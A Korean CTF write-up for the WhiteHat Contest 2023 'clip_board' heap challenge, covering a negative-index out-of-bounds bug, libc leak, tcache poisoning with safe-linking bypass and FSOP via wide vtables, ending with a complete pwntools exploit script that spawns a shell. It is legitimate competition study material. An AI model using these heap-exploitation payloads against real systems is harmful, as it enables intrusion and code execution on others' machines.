WhiteHat Contest 2023 Quals - clip_board

0x00. Introduction

[*] '/home/user/clip_board'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Concept

int __fastcall main(int argc, const char **argv, const char **envp)
{
  ...
  v3 = malloc(0x20uLL);
  printf("heap leak: %p\n\n", v3);
  do
  {
    Menu();
    choice = get_int();
    switch ( choice )
    {
      case 1:
        AddClipboard();
        break;
      case 2:
        DelClipboard();
        break;
      case 3:
        ViewClipboard();
        break;
      case 4:
        exit = 1;
        break;
    }
  }
  while ( !exit );
  return 0;
}

AddClipboard(), DelClipboard(), ViewClipboard() μ„Έ κ°€μ§€ κΈ°λŠ₯이 heap을 기반으둜 κ΅¬ν˜„λ˜μ–΄μžˆλ‹€. μΉœμ ˆν•˜κ²Œλ„ heap μ£Όμ†Œλ₯Ό ν•˜λ‚˜ 좜λ ₯ν•΄μ£Όμ–΄ heap leak을 λ”°λ‘œ ν•΄μ£Όμ§€ μ•Šμ•„λ„ λœλ‹€.

Global Variables

char *chunk_list[10];
char check_chunk_list[10];      // size = 16
int chunk_size_list[10];

예λ₯Ό λ“€μ–΄ AddClipboard() μ‹€ν–‰ μ‹œ index에 iλ₯Ό μž…λ ₯ν•˜λ©΄ μœ„ ꡬ쑰체듀에 λ‹€μŒκ³Ό 같은 값이 μ„€μ •λœλ‹€.

  • chunk_list[i] : malloc(size)
  • check_chunk_list[i] : 1
  • chunk_size_list[i] : size

이 λ•Œ check_chunk_listλŠ” alignment λ•Œλ¬ΈμΈμ§€ 16λ°”μ΄νŠΈλ§ŒνΌ ν• λ‹Ήλ˜μ–΄μžˆλ‹€.

0x01. Vulnerability

int ViewClipboard()
{
  ...
  printf("index > ");
  index = get_int();
  if ( index <= 9 )
  {
    check = check_chunk_list_4090[index];
    if ( check )
    {
      ptr = chunk_list_4040[index];
      size = chunk_size_list_40A0[index];
      if ( ptr )
      {
        if ( size <= 0x100 )
          return write(1, ptr, size);
      }
    }
  }
  return size;
}

AddClipboard(), DelClipboard(), ViewClipboard()μ—μ„œ κ³΅ν†΅μ μœΌλ‘œ index 값이 음수일 λ•Œλ₯Ό κ²€μ¦ν•˜μ§€ μ•Šμ•„ OOB 취약점이 μžˆλ‹€.

λ‹€λ§Œ μ›ν•˜λŠ” λ™μž‘μ„ ν•˜κΈ° μœ„ν•΄μ„œ checkκ°€ 0이 μ•„λ‹Œ 값을 κ°€μ Έμ•Όν•˜λ―€λ‘œ, check_chunk_list μœ„ μ˜μ—­μ˜ 값을 잘 확인해야 ν•œλ‹€.

0x02. Exploit

Libc Leak

gef➀  x/20gx 0x555555558000
0x555555558000: 0x0000000000000000      0x0000555555558008
0x555555558010: 0x0000000000000000      0x0000000000000000
0x555555558020 <stdout@GLIBC_2.2.5>:    0x00007ffff7fa5780      0x0000000000000000
0x555555558030 <stdin@GLIBC_2.2.5>:     0x00007ffff7fa4aa0      0x0000000000000000
0x555555558040 <chunk_list>:    0x0000000000000000      0x0000000000000000
0x555555558050 <chunk_list+16>: 0x0000000000000000      0x0000000000000000
0x555555558060 <chunk_list+32>: 0x0000000000000000      0x0000000000000000
0x555555558070 <chunk_list+48>: 0x0000000000000000      0x0000000000000000
0x555555558080 <chunk_list+64>: 0x0000000000000000      0x0000000000000000
0x555555558090 <check_chunk_list>:      0x0000000000000000      0x0000000000000000

indexλ₯Ό 음수둜 μž…λ ₯ν•΄ 취약점을 ν™œμš©ν•˜κΈ° μœ„ν•΄μ„œ chunk_list μœ„ μ˜μ—­μ„ μ‚΄νŽ΄λ³΄λ©΄, stdoutκ³Ό stdin이 μžˆλ‹€.

0x555555558008 μ˜μ—­μ— __dso_handleλΌλŠ” λ³€μˆ˜λͺ…μœΌλ‘œ bss μ˜μ—­μ˜ μ£Όμ†Œκ°€ μ“°μ—¬μžˆμ–΄ ν™•μΈν•΄λ³΄λ‹ˆ fini_array의 __do_global_dtors_auxμ—μ„œ ν•œλ²ˆ μ°Έμ‘°ν•˜λŠ” 것을 μ œμ™Έν•˜κ³ λŠ” μ°Έμ‘°λ˜μ§€ μ•ŠλŠ”λ‹€. 이 λ¬Έμ œμ—μ„œλŠ” λ”±νžˆ μ˜λ―Έκ°€ μ—†μ§€λ§Œ κΈ°μ–΅ν•΄λ’€λ‹€κ°€ λ‚˜μ€‘μ— 써먹으면 쒋을 것 κ°™λ‹€.

stdin은 chunk_list[-2], stdout은 chunk_list[-4]둜 접근이 κ°€λŠ₯ν•œλ°, ViewClipboard둜 값을 μ½μ–΄μ˜€κΈ° μœ„ν•΄μ„œλŠ” check_chunk_list[-2]λ‚˜ check_chunk_list[-4]에 0이 μ•„λ‹Œ 값이 μ €μž₯λ˜μ–΄ μžˆμ–΄μ•Ό ν•œλ‹€. κ·Έλ ‡λ‹€λ©΄ 0x55555555808e ν˜Ήμ€ 0x55555555808c에 값을 μ €μž₯ν•΄μ•Ό ν•œλ‹€λŠ” μ†Œλ¦°λ°, indexλ₯Ό 9둜 μž…λ ₯ν•΄μ„œ 0x555555558088에 malloc()이 λ°˜ν™˜ν•œ 값을 μ €μž₯ν•œλ‹€κ³  해도 μ£Όμ†Œ 값이라 μœ— 뢀뢄은 쓰이지 μ•Šμ„ν…Œλ‹ˆ 0x55555555808eμ—λŠ” 0이 λ“€μ–΄κ°„λ‹€.

λ”°λΌμ„œ stdout만 viewκ°€ κ°€λŠ₯ν•˜κ³ , λ‹€μŒκ³Ό 같은 payload둜 libc μ£Όμ†Œλ₯Ό μ–»μ—ˆλ‹€.

    # leak libc
    add_clipboard(s, 1, 0x10, b"A" * 0x10)
    add_clipboard(s, 9, 0x10, b"B" * 0x10)
    r = view_clipboard(s, -4)
    libc = u64(r[8:16]) - 0x21b803
    stdout_fp = r[0:0xe0]
    log.info(f"libc : {hex(libc)}")

    # clean clipboards
    del_clipboard(s, 1)
    del_clipboard(s, 9)

FSOP

gef➀  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /home/user/clip_board
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /home/user/clip_board
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /home/user/clip_board
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /home/user/clip_board
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /home/user/clip_board

Full RELROκ°€ μ μš©λ˜μ–΄μžˆκΈ° λ•Œλ¬Έμ— GOTμ˜μ—­μ€ writeκ°€ λΆˆκ°€λŠ₯ν•˜κ³  0x555555558000와 chunk_list의 μ‚¬μ΄μ—λŠ” stdout, stdin밖에 μ—†λ‹€.

stdout, stdin을 λ°”κΏ”μ„œ RIP control을 ν•΄μ•Όν•˜λ‹ˆ 자료λ₯Ό 찾아보닀가 FSOP 기법을 λ°œκ²¬ν–ˆλ‹€. FSOP 기법은 이 글에 μ •λ¦¬ν•œ λ‚΄μš©μ„ μ‚¬μš©ν–ˆλ‹€.

λ¬Έμ œμ—μ„œλŠ” AddClipboard() κΈ°λŠ₯을 μ΄μš©ν•˜μ—¬ λ©”λͺ¨λ¦¬λ₯Ό λ§ˆμŒλŒ€λ‘œ 할당받을 수 있고, μ²˜μŒμ— heap μ£Όμ†Œλ₯Ό μ£Όμ—ˆμœΌλ‹ˆ offset을 κ³„μ‚°ν•˜μ—¬ λ‹€μŒκ³Ό 같이 payloadλ₯Ό μž‘μ„±ν–ˆλ‹€.

    # allocate wide_vtable
    one_gadget = libc + 0xebc85
    payload = p64(0) * 2                        # dummy
    payload += p64(one_gadget) * 19
    add_clipboard(s, 6, len(payload), payload)
    wide_vtable = heap + 0x4a0

    # allocate anywhere can read / write
    add_clipboard(s, 7, 0x100, b"\x00" * 8)
    anywhere_rw = heap + 0x550

    # allocate wide_data
    payload = bytearray(0x100)
    payload[0x18:0x20] = p64(0)
    payload[0x20:0x28] = p64(anywhere_rw)
    payload[0x30:0x38] = p64(0)
    payload[0xe0:0xe8] = p64(wide_vtable)
    add_clipboard(s, 8, len(payload), payload)
    wide_data = heap + 0x660

    # allocate new_fp and overwrite stdout
    io_wfile_jumps = libc + 0x2170c0
    payload = bytearray(stdout_fp)
    payload[0:8] = p64(0)                       # stdout -> flags
    payload[0xa0:0xa8] = p64(wide_data)         # stdout -> _wide_data
    payload[0xc0:0xc8] = p64(1)                 # stdout -> mode
    payload[0xd8:0xe0] = p64(io_wfile_jumps)    # stdout -> vtable
    add_clipboard(s, -4, 0x100, payload, fin=1)

어… μ‹ λ‚˜κ²Œ μ„€λͺ…ν–ˆλŠ”λ° 사싀 κ°€μž₯ 큰 λ¬Έμ œκ°€ ν•˜λ‚˜ μžˆλ‹€. OOB 취약점을 μ΄μš©ν•˜μ—¬ chunk_list[-4]에 μœ„μΉ˜ν•œ stdout을 overwriteν•˜λ©΄ λ©”λͺ¨λ¦¬λŠ” λ‹€μŒ 이미지와 κ°™λ‹€.

overwrite stdout

그런데 사싀 _IO_flush_all_lockpλŠ” _IO_list_all을 μˆœνšŒν•˜λ©° file stream에 overflowκ°€ λ°œμƒν–ˆλŠ”μ§€ ν™•μΈν•˜κΈ° λ•Œλ¬Έμ—, κ³΅κ²©μžκ°€ ν• λ‹Ήν•œ wide_vtable의 one_gadget ν•¨μˆ˜κ°€ 호좜되기 μœ„ν•΄μ„œλŠ” λ©”λͺ¨λ¦¬κ°€ λ‹€μŒ 이미지와 κ°™μ•„μ Έμ•Ό ν•œλ‹€.

overwrite stdout and unlink _IO_list_all

λ”°λΌμ„œ libc μ˜μ—­μ— μžˆλŠ” _IO_list_all 포인터λ₯Ό overwrite ν•΄μ•Όν•œλ‹€β€¦

stdout에 μ €μž₯된 값을 직접 μ ‘κ·Όν•˜λŠ” λ‹€λ₯Έ FSOP μ‹œλ‚˜λ¦¬μ˜€λ₯Ό μ°Ύμ•˜λ‹€λ©΄ 이런 짓은 ν•˜μ§€ μ•Šμ•˜μ–΄λ„ λλŠ”λ° μ•„μ‰¬μšΈ 따름이닀…

μ•„μ˜ˆ μƒˆλ‘œμš΄ 문제λ₯Ό λ³΄λŠ” κΈ°λΆ„μœΌλ‘œ μ½”λ“œλ₯Ό 보닀보면 DelClipboard()μ—μ„œ λ‹€μŒ λ™μž‘μ„ μˆ˜ν–‰ν•˜λŠ” 것을 확인할 수 μžˆλ‹€.

int DelClipboard()
{
  ...
      ptr = chunk_list_4040[index];
      if ( ptr )
      {
        free(ptr);
        chunk_list_4040[index] = 0LL;
        check_chunk_list_4090[index] = 0;
        size = chunk_size_list_40A0;
        chunk_size_list_40A0[index] = 0;
      }
  ...
}

AddClipboard()μ—μ„œ 1둜 μ„€μ •λœ check_chunk_list[index]의 값을 0으둜 λŒλ €μ€€λ‹€.

check_chunk_list μœ„μ—λŠ” malloc()으둜 할당받은 heap μ˜μ—­μ˜ μ£Όμ†Œλ“€μ΄ μ“°μ—¬μžˆλ‹€. λ§Œμ•½ malloc(), free()λ₯Ό ν•˜λŠ” μˆœμ„œκ°€ κ°™μœΌλ©΄ offset도 동일할 κ²ƒμ΄λ―€λ‘œ, 할당받은 μ£Όμ†Œλ₯Ό leakν•˜μ§€ μ•Šλ”λΌλ„ μ˜ˆμΈ‘ν•  수 μžˆλ‹€.

λ”°λΌμ„œ malloc이 0xXXXXXXXXXX10 μ£Όμ†Œλ₯Ό λ°˜ν™˜ν•˜κ²Œλ” heap을 μ •λ ¬μ‹œμΌœλ‘κ³ , 0xXXXXXXXXXX00 μ£Όμ†Œμ— fake chunk headerλ₯Ό λ§Œλ“€μ–΄μ€€ λ‹€μŒ, μ£Όμ†Œμ˜ λ§ˆμ§€λ§‰ λ°”μ΄νŠΈμΈ 0x10을 0x00으둜 λ§Œλ“€μ–΄μ£Όλ©΄ fake chunkλ₯Ό free()μ‹œν‚¬ 수 μžˆλ‹€.

    # align last byte
    add_clipboard(s, -8, 0xc0, b"C" * 0x20)

    # make fake chunk header
    payload = b"D" * 0x10
    payload += p64(0)
    payload += p64(0x101)
    add_clipboard(s, 0, 0x20, payload)

    # allocate XXXXXXXXX410, XXXXXXXXX440, XXXXXXXXX470 chunks
    add_clipboard(s, 9, 0x20, b"E" * 0x30)
    add_clipboard(s, 1, 0x20, b"F" * 0x20)
    add_clipboard(s, 2, 0x20, b"G" * 0x20)

    # overwrite 410 -> 400 and free fake chunk (size 0x100)
    del_clipboard(s, -8)
    del_clipboard(s, 9)

    # free XXXXXXXXX440, XXXXXXXXX470
    del_clipboard(s, 2)
    del_clipboard(s, 1)

μœ„μ™€ 같이 payloadλ₯Ό μž‘μ„±ν•˜κ³  μ½”λ“œλ₯Ό μ‹€ν–‰ν•˜κ³  tcacheμ—μ„œ μ‚¬μ΄μ¦ˆ 0x30, 0x100 bin을 확인해보면 λ‹€μŒκ³Ό κ°™λ‹€.

─────────────────────────────────── Tcachebins for thread 1 ───────────────────────────────────
Tcachebins[idx=1, size=0x30, count=2] ←  Chunk(addr=0x555555559440, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
                                      ←  Chunk(addr=0x555555559470, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Tcachebins[idx=14, size=0x100, count=1] ←  Chunk(addr=0x555555559400, size=0x100, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

μ΄λ ‡κ²Œ 0x555555559400 μ˜μ—­μ΄ 0x555555559440, 0x555555559470 μ˜μ—­κ³Ό 겹치게 되기 λ•Œλ¬Έμ— 0xf0짜리 chunkλ₯Ό μš”μ²­ν•˜λ©΄ 0x555555559440의 fdλ₯Ό overwriteν•  수 μžˆλ‹€.

Safe Linking Bypass

그런데 이 λ•Œ 0x555555559440κ³Ό 0x555555559470의 fdλ₯Ό 확인해보면 λ‹¨μˆœνžˆ λ‹€μŒ chunk의 μ£Όμ†Œλ₯Ό μ €μž₯ν•˜μ§€ μ•ŠλŠ”λ°, μ΄λŠ” tcache의 safe linking λ•Œλ¬Έμ΄λ‹€.

gef➀  x/6gx 0x555555559440 - 0x10
0x555555559430: 0x0000000000000000      0x0000000000000031
0x555555559440: 0x000055500000c129      0x62cde40f9bbc5877
0x555555559450: 0x4646464646464646      0x4646464646464646
gef➀  x/6gx 0x555555559470 - 0x10
0x555555559460: 0x0000000000000000      0x0000000000000031
0x555555559470: 0x0000000555555559      0x62cde40f9bbc5877
0x555555559480: 0x4747474747474747      0x4747474747474747

κ³΅λΆ€ν•œκΉ€μ— κ°„λž΅ν•˜κ²Œ μ •λ¦¬ν•˜μžλ©΄ glibc 2.32버전뢀터 free된 chunkλŠ” λ‹€μŒκ³Ό 같은 ꡬ쑰λ₯Ό κ°€μ§€κ²Œ λœλ‹€.

struct tcache_entry {
    struct tcache_entry *next;
    /* This field exists to detect double frees.  */
    struct tcache_perthread_struct *key;
};

μœ„ λ©”λͺ¨λ¦¬μ—μ„œ 0x62cde40f9bbc5877둜 좜λ ₯된 것이 key인데, λ‹€μŒκ³Ό 같은 λ‘œμ§μ„ 톡해 double freeλ₯Ό λ°©μ§€ν•œλ‹€.

  1. free(ptr)을 ν–ˆμ„ λ•Œ,
  2. ptr->key에 μ œλŒ€λ‘œ 된 key값이 μžˆλŠ”μ§€ 검증
    • μ—†λ‹€λ©΄ abort
  3. μ œλŒ€λ‘œ 된 key 값이 μžˆλ‹€λ©΄, ptr의 size에 λ§žλŠ” tcache bin을 순회
    • ptr이 bin에 μžˆλ‹€λ©΄ abort

λ¬Έμ œλŠ” next인데, glibc 버전에 따라 λ‹€λ₯΄κ² μ§€λ§Œ 2.35의 경우 포인터 λ§ˆμŠ€ν‚Ή λ˜λŠ” 포인터 μ•”ν˜Έν™” 기법이 μ μš©λ˜μ–΄μ„œ λ‹€μŒ 연산을 ν•˜κ³  μ €μž₯ν•œλ‹€.

// Encryption
entry->next = (tcache_entry *) ((uintptr_t) next ^ (uintptr_t) tcache);

// Decryption
tcache_entry *next = (tcache_entry *) ((uintptr_t) e->next ^ (uintptr_t) tcache);

μ—¬κΈ°μ—μ„œ tcache 값은 tcache_perthread_struct의 μ£Όμ†ŒλΌκ³  ν•˜λŠ”λ°β€¦ μ‹€μ œ λ©”λͺ¨λ¦¬μ™€ λ‹€λ₯Έ 것 κ°™μ•„μ„œ 2.35 glibc μ†ŒμŠ€μ½”λ“œλ₯Ό elixirμ—μ„œ μ°Ύμ•„λ³΄μ•˜λŠ”λ° λ­”κ°€ μ•ˆλ§žλŠ” 것 κ°™μ•„ 확인이 ν•„μš”ν•˜λ‹€.

μ•„λ¬΄νŠΌ μ‹€μ œ xor 연산이 λ˜λŠ” tcache 값은 heap base μ£Όμ†Œλ₯Ό 12bit right shiftν•œ 0x555555559으둜, nextκ°€ null이어야 ν•˜λŠ” 0x555555559470 chunkλ₯Ό 보면 μ•Œ 수 μžˆλ‹€. λ”°λΌμ„œ _IO_list_all의 μ£Όμ†ŒμΈ 0x7ffff7fa5680에 0x555555559λ₯Ό xorν•œ κ²°κ³Όλ₯Ό 0x555555559440 chunk의 next μœ„μΉ˜μ— μ“°λ©΄ λ‹€μŒκ³Ό 같이 tcache bin이 κ΅¬μ„±λœλ‹€.

─────────────────────────────────── Tcachebins for thread 1 ───────────────────────────────────
Tcachebins[idx=1, size=0x30, count=2] ←  Chunk(addr=0x555555559440, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
                                      ←  Chunk(addr=0x7ffff7fa5680, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  [Corrupted chunk at 0x7ffff7fa5680]

_IO_list_all의 μ£Όμ†Œ 0x7ffff7fa5680 8λ°”μ΄νŠΈ μ•žμ— μœ„μΉ˜ν•œ 0이 size둜 μΈμ‹λ˜μ–΄ corrupted chunk둜 좜λ ₯λ˜μ§€λ§Œ λ‹€ν–‰νžˆ malloc() μ‹œ size 검증을 ν•˜μ§€ μ•Šμ•„ 0x7ffff7fa5680λ₯Ό λ°˜ν™˜λ°›λŠ”λ°μ— μ„±κ³΅ν–ˆλ‹€.

    # reallocate fake 0x100 chunk and overwrite fd of XXXXXXXXX440
    # now XXXXXXXXX440 -> IO_list_all
    io_list_all = libc + 0x21b680
    payload = b"H" * 0x38
    payload += p64(0x31)
    payload += p64(io_list_all ^ (heap >> 12))
    add_clipboard(s, 3, 0xf0, payload)

    # allocating 5 returns address of IO_list_all
    add_clipboard(s, 4, 0x20, b"I" * 0x20)
    add_clipboard(s, 5, 0x20, p64(heap + 0x770))

μ΄λ ‡κ²Œ payloadλ₯Ό μ‹€ν–‰ν•˜λ©΄ λͺ©μ ν–ˆλ˜ _IO_list_all에 μƒμ„±ν•œ new_fd의 μ£Όμ†Œκ°€ λ‹΄κΈ°κ²Œ λœλ‹€.

gef➀  x/gx 0x7ffff7fa5680
0x7ffff7fa5680 <_IO_list_all>:  0x0000555555559770

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "clip_board"
LIBRARY = "libc.so.6"
CONTAINER = "69049f0398fe"
code_base = 0x0000555555554000
bp = {
    'main' : code_base + 0x16FD
}

gs = f'''
gef config gef.bruteforce_main_arena True
b *0x7ffff7e1e8e0
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def add_clipboard(s, index, size, contents, fin=0):
    s.sendline(b"1")
    s.recvuntil(b"> ")
    s.sendline(str(index).encode())
    s.recvuntil(b"> ")
    s.sendline(str(size).encode())
    s.recvuntil(b"> ")
    s.send(contents)
    if fin:
        return
    else:
        return s.recvuntil(b"\n> ")

def del_clipboard(s, index):
    s.sendline(b"2")
    s.recvuntil(b"> ")
    s.sendline(str(index).encode())
    return s.recvuntil(b"\n> ")

def view_clipboard(s, index):
    s.sendline(b"3")
    s.recvuntil(b"> ")
    s.sendline(str(index).encode())
    return s.recvuntil(b"\n> ")

def exit_clipboard(s):
    s.sendline(b"4")
    return

def main(port, debug):
    if(port):
        s = remote("0.0.0.0", port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)
    heap = int(s.recvuntil(b"> ").split(b'\n')[0].split(b': ')[1], 16) & 0xfffffffffffff000
    log.info(f"heap : {hex(heap)}")
    
    # leak libc
    add_clipboard(s, 1, 0x10, b"A" * 0x10)
    add_clipboard(s, 9, 0x10, b"B" * 0x10)
    r = view_clipboard(s, -4)
    libc = u64(r[8:16]) - 0x21b803
    stdout_fp = r[0:0xe0]
    log.info(f"libc : {hex(libc)}")

    # clean clipboards
    del_clipboard(s, 1)
    del_clipboard(s, 9)

    # align last byte
    add_clipboard(s, -8, 0xc0, b"C" * 0x20)

    # make fake chunk header
    payload = b"D" * 0x10
    payload += p64(0)
    payload += p64(0x101)
    add_clipboard(s, 0, 0x20, payload)

    # allocate XXXXXXXXX410, XXXXXXXXX440, XXXXXXXXX470 chunks
    add_clipboard(s, 9, 0x20, b"E" * 0x30)
    add_clipboard(s, 1, 0x20, b"F" * 0x20)
    add_clipboard(s, 2, 0x20, b"G" * 0x20)
    
    # overwrite 410 -> 400 and free fake chunk (size 0x100)
    del_clipboard(s, -8)
    del_clipboard(s, 9)

    # free XXXXXXXXX440, XXXXXXXXX470
    del_clipboard(s, 2)
    del_clipboard(s, 1)

    # reallocate fake 0x100 chunk and overwrite fd of XXXXXXXXX440
    # now XXXXXXXXX440 -> IO_list_all
    io_list_all = libc + 0x21b680
    payload = b"H" * 0x38
    payload += p64(0x31)
    payload += p64(io_list_all ^ (heap >> 12))
    add_clipboard(s, 3, 0xf0, payload)

    # allocating 5 returns address of IO_list_all
    add_clipboard(s, 4, 0x20, b"I" * 0x20)
    add_clipboard(s, 5, 0x20, p64(heap + 0x770))
    
    # allocate wide_vtable
    one_gadget = libc + 0xebc85
    payload = p64(0) * 2                        # dummy
    payload += p64(one_gadget) * 19
    add_clipboard(s, 6, len(payload), payload)
    wide_vtable = heap + 0x4a0

    # allocate anywhere can read / write
    add_clipboard(s, 7, 0x100, b"\x00" * 8)
    anywhere_rw = heap + 0x550

    # allocate wide_data
    payload = bytearray(0x100)
    payload[0x18:0x20] = p64(0)
    payload[0x20:0x28] = p64(anywhere_rw)
    payload[0x30:0x38] = p64(0)
    payload[0xe0:0xe8] = p64(wide_vtable)
    add_clipboard(s, 8, len(payload), payload)
    wide_data = heap + 0x660

    # allocate new_fp and overwrite stdout
    io_wfile_jumps = libc + 0x2170c0
    payload = bytearray(stdout_fp)
    payload[0:8] = p64(0)                       # stdout -> flags
    payload[0xa0:0xa8] = p64(wide_data)         # stdout -> _wide_data
    payload[0xc0:0xc8] = p64(1)                 # stdout -> mode
    payload[0xd8:0xe0] = p64(io_wfile_jumps)    # stdout -> vtable
    add_clipboard(s, -4, 0x100, payload, fin=1)

    log.info(f"&stdout : 0x555555558020")
    log.info(f"IO_list_all : {hex(io_list_all)}")
    log.info(f"IO_list_all -> 0x7ffff7fab6a0")
    log.info(f"original_stdout : 0x7ffff7fab780")
    log.info(f"wide_data : {hex(wide_data)}")
    log.info(f"io_wfile_jumps : {hex(io_wfile_jumps)}")
    log.info(f"anywhere_rw : {hex(anywhere_rw)}")
    log.info(f"wide_vtable : {hex(wide_vtable)}")
    log.info(f"one_gadget : {hex(one_gadget)}")

    # trigger _IO_flush_all_lockp
    exit_clipboard(s)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.port, args.debug)